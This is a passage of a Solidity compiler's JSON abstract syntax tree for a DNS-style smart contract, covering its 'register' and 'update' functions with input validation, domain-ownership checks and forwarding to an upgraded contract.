Upgrade\",\"value\":\"_upgradeInfo\"},\"id\":22,\"name\":\"Identifier\",\"src\":\"1117:12:1\"}],\"id\":23,\"name\":\"Assignment\",\"src\":\"1103:26:1\"}],\"id\":24,\"name\":\"ExpressionStatement\",\"src\":\"1103:26:1\"}],\"id\":25,\"name\":\"Block\",\"src\":\"1099:34:1\"}],\"id\":26,\"name\":\"FunctionDefinition\",\"src\":\"1065:68:1\"},{\"attributes\":{\"baseFunctions\":[1435],\"functionSelector\":\"89404978\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"register\",\"scope\":308,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":34,\"name\":\"OverrideSpecifier\",\"src\":\"1214:8:1\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":112,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":27,\"name\":\"ElementaryTypeName\",\"src\":\"1154:6:1\"}],\"id\":28,\"name\":\"VariableDeclaration\",\"src\":\"1154:21:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":112,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":29,\"name\":\"ElementaryTypeName\",\"src\":\"1177:6:1\"}],\"id\":30,\"name\":\"VariableDeclaration\",\"src\":\"1177:10:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":112,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":31,\"name\":\"ElementaryTypeName\",\"src\":\"1189:7:1\"}],\"id\":32,\"name\":\"VariableDeclaration\",\"src\":\"1189:14:1\"}],\"id\":33,\"name\":\"ParameterList\",\"src\":\"1153:51:1\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":35,\"name\":\"ParameterList\",\"src\":\"1223:0:1\"},{\"children\":[{\"attributes\":{\"assignments\":[37,39]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"upgrade\",\"scope\":111,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":36,\"name\":\"ElementaryTypeName\",\"src\":\"1228:4:1\"}],\"id\":37,\"name\":\"VariableDeclaration\",\"src\":\"1228:12:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":111,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":38,\"name\":\"UserDefinedTypeName\",\"src\":\"1242:4:1\"}],\"id\":39,\"name\":\"VariableDeclaration\",\"src\":\"1242:7:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":16,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":40,\"name\":\"Identifier\",\"src\":\"1253:11:1\"}],\"id\":41,\"name\":\"MemberAccess\",\"src\":\"1253:25:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":42,\"name\":\"Identifier\",\"src\":\"1279:3:1\"}],\"id\":43,\"name\":\"MemberAccess\",\"src\":\"1279:10:1\"}],\"id\":44,\"name\":\"FunctionCall\",\"src\":\"1253:37:1\"}],\"id\":45,\"name\":\"VariableDeclarationStatement\",\"src\":\"1227:63:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":37,\"type\":\"bool\",\"value\":\"upgrade\"},\"id\":46,\"name\":\"Identifier\",\"src\":\"1298:7:1\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":1435,\"type\":\"function (string memory,bytes4,address) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":47,\"name\":\"Identifier\",\"src\":\"1312:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":39,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":48,\"name\":\"Identifier\",\"src\":\"1317:2:1\"}],\"id\":49,\"name\":\"FunctionCall\",\"src\":\"1312:8:1\"}],\"id\":50,\"name\":\"MemberAccess\",\"src\":\"1312:17:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":28,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":51,\"name\":\"Identifier\",\"src\":\"1330:7:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":30,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":52,\"name\":\"Identifier\",\"src\":\"1339:3:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":32,\"type\":\"address\",\"value\":\"_owner\"},\"id\":53,\"name\":\"Identifier\",\"src\":\"1344:6:1\"}],\"id\":54,\"name\":\"FunctionCall\",\"src\":\"1312:39:1\"}],\"id\":55,\"name\":\"ExpressionStatement\",\"src\":\"1312:39:1\"},{\"attributes\":{\"functionReturnParameters\":35},\"id\":56,\"name\":\"Return\",\"src\":\"1356:7:1\"}],\"id\":57,\"name\":\"Block\",\"src\":\"1307:60:1\"}],\"id\":58,\"name\":\"IfStatement\",\"src\":\"1294:73:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":59,\"name\":\"Identifier\",\"src\":\"1371:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":30,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":60,\"name\":\"Identifier\",\"src\":\"1379:3:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":61,\"name\":\"Literal\",\"src\":\"1386:1:1\"}],\"id\":62,\"name\":\"BinaryOperation\",\"src\":\"1379:8:1\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":63,\"name\":\"Literal\",\"src\":\"1389:13:1\"}],\"id\":64,\"name\":\"FunctionCall\",\"src\":\"1371:32:1\"}],\"id\":65,\"name\":\"ExpressionStatement\",\"src\":\"1371:32:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced\",\"typeString\":\"literal_string \\\"Invalid domain.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":66,\"name\":\"Identifier\",\"src\":\"1407:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(bytes storage pointer)\"},\"children\":[{\"attributes\":{\"name\":\"bytes\"},\"id\":67,\"name\":\"ElementaryTypeName\",\"src\":\"1415:5:1\"}],\"id\":68,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1415:5:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":28,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":69,\"name\":\"Identifier\",\"src\":\"1421:7:1\"}],\"id\":70,\"name\":\"FunctionCall\",\"src\":\"1415:14:1\"}],\"id\":71,\"name\":\"MemberAccess\",\"src\":\"1415:21:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":72,\"name\":\"Literal\",\"src\":\"1439:1:1\"}],\"id\":73,\"name\":\"BinaryOperation\",\"src\":\"1415:25:1\"},{\"attributes\":{\"hexvalue\":\"496e76616c696420646f6d61696e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid domain.\\\"\",\"value\":\"Invalid domain.\"},\"id\":74,\"name\":\"Literal\",\"src\":\"1442:17:1\"}],\"id\":75,\"name\":\"FunctionCall\",\"src\":\"1407:53:1\"}],\"id\":76,\"name\":\"ExpressionStatement\",\"src\":\"1407:53:1\"},{\"attributes\":{\"assignments\":[78]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":111,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":77,\"name\":\"UserDefinedTypeName\",\"src\":\"1465:5:1\"}],\"id\":78,\"name\":\"VariableDeclaration\",\"src\":\"1465:19:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":13,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":79,\"name\":\"Identifier\",\"src\":\"1487:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":28,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":80,\"name\":\"Identifier\",\"src\":\"1492:7:1\"}],\"id\":81,\"name\":\"IndexAccess\",\"src\":\"1487:13:1\"}],\"id\":82,\"name\":\"VariableDeclarationStatement\",\"src\":\"1465:35:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8\",\"typeString\":\"literal_string \\\"Domain already taken.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":83,\"name\":\"Identifier\",\"src\":\"1504:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":78,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":84,\"name\":\"Identifier\",\"src\":\"1512:5:1\"}],\"id\":85,\"name\":\"MemberAccess\",\"src\":\"1512:8:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":86,\"name\":\"Literal\",\"src\":\"1524:1:1\"}],\"id\":87,\"name\":\"BinaryOperation\",\"src\":\"1512:13:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":78,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":88,\"name\":\"Identifier\",\"src\":\"1529:5:1\"}],\"id\":89,\"name\":\"MemberAccess\",\"src\":\"1529:11:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":90,\"name\":\"ElementaryTypeName\",\"src\":\"1544:7:1\"}],\"id\":91,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1544:7:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":92,\"name\":\"Literal\",\"src\":\"1552:1:1\"}],\"id\":93,\"name\":\"FunctionCall\",\"src\":\"1544:10:1\"}],\"id\":94,\"name\":\"BinaryOperation\",\"src\":\"1529:25:1\"}],\"id\":95,\"name\":\"BinaryOperation\",\"src\":\"1512:42:1\"},{\"attributes\":{\"hexvalue\":\"446f6d61696e20616c72656164792074616b656e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Domain already taken.\\\"\",\"value\":\"Domain already taken.\"},\"id\":96,\"name\":\"Literal\",\"src\":\"1556:23:1\"}],\"id\":97,\"name\":\"FunctionCall\",\"src\":\"1504:76:1\"}],\"id\":98,\"name\":\"ExpressionStatement\",\"src\":\"1504:76:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":78,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":99,\"name\":\"Identifier\",\"src\":\"1585:5:1\"}],\"id\":101,\"name\":\"MemberAccess\",\"src\":\"1585:8:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":30,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":102,\"name\":\"Identifier\",\"src\":\"1596:3:1\"}],\"id\":103,\"name\":\"Assignment\",\"src\":\"1585:14:1\"}],\"id\":104,\"name\":\"ExpressionStatement\",\"src\":\"1585:14:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":78,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":105,\"name\":\"Identifier\",\"src\":\"1603:5:1\"}],\"id\":107,\"name\":\"MemberAccess\",\"src\":\"1603:11:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":32,\"type\":\"address\",\"value\":\"_owner\"},\"id\":108,\"name\":\"Identifier\",\"src\":\"1617:6:1\"}],\"id\":109,\"name\":\"Assignment\",\"src\":\"1603:20:1\"}],\"id\":110,\"name\":\"ExpressionStatement\",\"src\":\"1603:20:1\"}],\"id\":111,\"name\":\"Block\",\"src\":\"1223:404:1\"}],\"id\":112,\"name\":\"FunctionDefinition\",\"src\":\"1136:491:1\"},{\"attributes\":{\"baseFunctions\":[1443],\"functionSelector\":\"f7a46696\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"update\",\"scope\":308,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":118,\"name\":\"OverrideSpecifier\",\"src\":\"1690:8:1\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":188,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":113,\"name\":\"ElementaryTypeName\",\"src\":\"1646:6:1\"}],\"id\":114,\"name\":\"VariableDeclaration\",\"src\":\"1646:21:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":188,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":115,\"name\":\"ElementaryTypeName\",\"src\":\"1669:6:1\"}],\"id\":116,\"name\":\"VariableDeclaration\",\"src\":\"1669:10:1\"}],\"id\":117,\"name\":\"ParameterList\",\"src\":\"1645:35:1\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":119,\"name\":\"ParameterList\",\"src\":\"1699:0:1\"},{\"children\":[{\"attributes\":{\"assignments\":[121,123]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"upgrade\",\"scope\":187,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":120,\"name\":\"ElementaryTypeName\",\"src\":\"1704:4:1\"}],\"id\":121,\"name\":\"VariableDeclaration\",\"src\":\"1704:12:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":187,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":122,\"name\":\"UserDefinedTypeName\",\"src\":\"1718:4:1\"}],\"id\":123,\"name\":\"VariableDeclaration\",\"src\":\"1718:7:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":16,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":124,\"name\":\"Identifier\",\"src\":\"1729:11:1\"}],\"id\":125,\"name\":\"MemberAccess\",\"src\":\"1729:25:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":126,\"name\":\"Identifier\",\"src\":\"1755:3:1\"}],\"id\":127,\"name\":\"MemberAccess\",\"src\":\"1755:10:1\"}],\"id\":128,\"name\":\"FunctionCall\",\"src\":\"1729:37:1\"}],\"id\":129,\"name\":\"VariableDeclarationStatement\",\"src\":\"1703:63:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":121,\"type\":\"bool\",\"value\":\"upgrade\"},\"id\":130,\"name\":\"Identifier\",\"src\":\"1774:7:1\"},{\"children\":[{\"attributes\":{\"assignments\":[null,132]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":157,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":131,\"name\":\"ElementaryTypeName\",\"src\":\"1790:7:1\"}],\"id\":132,\"name\":\"VariableDeclaration\",\"src\":\"1790:13:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":1461,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":133,\"name\":\"Identifier\",\"src\":\"1807:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":123,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":134,\"name\":\"Identifier\",\"src\":\"1812:2:1\"}],\"id\":135,\"name\":\"FunctionCall\",\"src\":\"1807:8:1\"}],\"id\":136,\"name\":\"MemberAccess\",\"src\":\"1807:16:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":114,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":137,\"name\":\"Identifier\",\"src\":\"1824:7:1\"}],\"id\":138,\"name\":\"FunctionCall\",\"src\":\"1807:25:1\"}],\"id\":139,\"name\":\"VariableDeclarationStatement\",\"src\":\"1788:44:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_bd6c1ce7819bd375b0951e8f24f62087ea6f8085ed8dd177eac2d51e7618d692\",\"typeString\":\"literal_string \\\"Not the owner in upgraded contract.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":140,\"name\":\"Identifier\",\"src\":\"1837:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":132,\"type\":\"address\",\"value\":\"owner\"},\"id\":141,\"name\":\"Identifier\",\"src\":\"1845:5:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":142,\"name\":\"Identifier\",\"src\":\"1854:3:1\"}],\"id\":143,\"name\":\"MemberAccess\",\"src\":\"1854:10:1\"}],\"id\":144,\"name\":\"BinaryOperation\",\"src\":\"1845:19:1\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e657220696e20757067726164656420636f6e74726163742e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner in upgraded contract.\\\"\",\"value\":\"Not the owner in upgraded 